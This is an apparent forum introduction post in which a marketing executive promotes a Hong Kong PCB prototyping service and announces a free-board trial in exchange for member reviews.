Hello everyone. My name is Alan.

I had worked as a Marketing Executive in a Hong Kong based Electronic Manufacturing Services company for more than 10 years. My company formed a sub company JACO (HK) since 2012 for PCB prototyping services, I have been deputed to promote this service for SME, electronic designers & electronic engineers all over the world.

As per our slogan “Better services . Reasonable price”, JACO will provide better service to our clients, and our clients required to pay reasonable price only. Our strengths include -

1. Reasonable price for 1-6 Layers PCB package
3. PCB package charged by the PCB Dimension
3. Plenty of Options - Board thickness, Surface Finish, Copper Thickness, Soldermask color and etc...

We will start a trial promotion at EEVblog shortly, and let some members to order their own PCB for free. :D They are required to write a report to review our services and quality afterwards. We hope this promotion will suit your needs.

Best wishes,
Alan
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